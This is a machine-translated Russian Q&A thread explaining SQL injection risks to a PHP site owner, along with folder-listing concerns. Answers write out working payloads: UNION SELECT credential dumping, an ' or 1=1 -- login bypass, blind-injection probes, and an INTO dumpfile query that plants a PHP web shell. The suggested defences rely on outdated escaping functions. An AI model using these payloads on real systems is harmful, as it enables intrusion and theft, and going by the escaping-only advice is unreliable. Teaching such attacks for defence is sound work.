Безопасность веб-сайта, внедрение sql и права доступа к файлам

#sql-injection #security

#sql-внедрение #Безопасность

Вопрос:

Я создаю очень маленький веб-сайт (с PHP), и у меня есть 2 большие проблемы, первая из которых связана с моей формой поиска. Я создал действительно простую форму поиска, чтобы получить мой контент, затем я использовал онлайн-инструмент безопасности и показал мне, что моя форма поиска уязвима для SQLi. Я понятия не имел об этом, поэтому я начал тестировать некоторые атаки, которые я нашел на некоторых сайтах, Пока только 'OR 'x'='x работал (он возвращает все содержимое моего веб-сайта, это плохо? Как злоумышленник может причинить мне вред? Вторая проблема касается моих фотографий, я использую папку под названием mywebsite.com/uploads / для доступа к моим фотографиям, хотя / upload защищен, подпапки uploads / temp и uploads / thumbs видны через браузер, может ли это быть вредным? Любой совет?

Ответ №1:

Внедрение SQL действительно плохо, но мне это нравится 🙂

существует много типов SQL-инъекций, таких как

удаленный SQL-инъекционный
слепой SQL-инъекционный
автоматический обход sql-инъекции

  **Remote sql injection**
  

это простой способ получить данные от хакера сайта, использующего его как программисты
смотрите этот пример

 mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;
  

В моем коде нет безопасности

site.php?id=1

мой запрос будет выполняться как

 mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;
  

если хакер, он уничтожит ваш код

site.php?id=1(любая вещь здесь может создать проблему, например: ` ‘ a-z A-Z / * / » )

Потому что запрос будет таким

 mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;
  

таким образом, одинарная кавычка приведет к ошибке в вашем запросе

и хакер может атаковать подобным образом

 site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users
  

здесь ваш запрос будет выполняться как

 mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");
  

и это сработает 🙂

слепое внедрение SQL

хакер не может работать с easy way remote sql injection

потому что здесь это зависит от правильного и ложного

поэтому он будет использовать and or

вот так

  and (select user_name from users) ;
  

если все работает нормально, скрипт будет работать хорошо, иначе произойдет ошибка

он может знать информацию о базе данных, подобную этой

примером таблицы администратора является admin

  and (select user_name from users) ;      x error

 and (select user_name from admin) ;      fine
  

автоматический обход

его sql-инъекция blicd, но только истинное условие может получить доступ к администратору

 mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");
  

хакер может войти в систему следующим образом

пользователь = что угодно’ или 1= 1 —

таким образом, ваш запрос будет выглядеть

 mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");
  

что-либо является ошибкой пользователя в базе данных

но условие или 1 = 1 верно

— будет игнорировать вашу проверку пароля

он может легко получить доступ

защита

 addslashes _ mysql_real_escape_string _ intval ( with number only )
  

предварительное удаление папок, которые вы можете использовать

пусто index.html , index.php ,

Ответ №2:

Если вы разрешите внедрение SQL, злоумышленник может сделать все виды плохих вещей на вашем веб-сайте. Они могут вводить код для УДАЛЕНИЯ БАЗЫ ДАННЫХ, удаляя всю вашу базу данных!

Если вы входите в свой mysql как пользователь root, они потенциально могут записывать в файлы (и создавать) файлы на вашем сервере.

Внедрение;

 SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');
  

Это был бы обычный первый шаг к проникновению на ваш сервер, позволяющий злоумышленнику выполнять произвольные команды от имени пользователя www-data. Отсюда легко подключить ваш сервер к ботнету, использовать его для рассылки спама (внесение вас в черный список за отправку электронных писем) или просто удалить все ваши файлы, чтобы испортить вам день.

Что вы должны сделать, так это очистить весь пользовательский ввод. Итак, в вашем поисковом процессоре вы должны избегать любых специальных символов из поискового запроса перед передачей его в базу данных, вы можете сделать это с помощью mysql_real_escape_string();

итак;

 $search_query = mysql_real_escape_string($_POST['search']);
  

Затем безопасно использовать $search_query в вашем запросе mysql.

Ответ №3:

SQL-инъекции — это плохо. кто-то может выполнить любой запрос, который он хочет в вашей базе данных, найти пароли, удалить все ваши данные и т.д. вы можете избежать этого, обернув весь пользовательский ввод в свои запросы с помощью mysql_real_escape_string

что касается каталогов — это действительно зависит от предоставляемых вами прав доступа. если список файлов доступен, это на самом деле не означает, что кто-то может вносить изменения / выполнять их

Ответ №4:

Внедрение Ad SQL:

  • Отображение всего содержимого может быть проблемой, если у вас есть неопубликованные статьи или статьи, доступные только для зарегистрированных пользователей и т.д.
  • Попробуйте прочитать больше о SQL-инъекциях. Возможно, удастся выполнить второй запрос, который вставит новые данные в вашу базу данных — или, что еще хуже, изменит данные (например, пароли). Существует множество материалов для чтения, для начала может быть:http://php.net/manual/en/security.database.sql-injection.php Очистите весь свой ввод и помните: даже если вы не можете найти способ нанести вред через дыру в безопасности, это не значит, что никто не найдет способ 😉

Реклама в папках: вы имеете в виду, что любой пользователь может видеть содержимое папок? Если это так, пользователи могут видеть изображения, которые они не должны видеть. Если у вас была веская причина для защиты (нет списка файлов?) основной каталог, почему бы не применить его к подкаталогам temps / и thumbs /?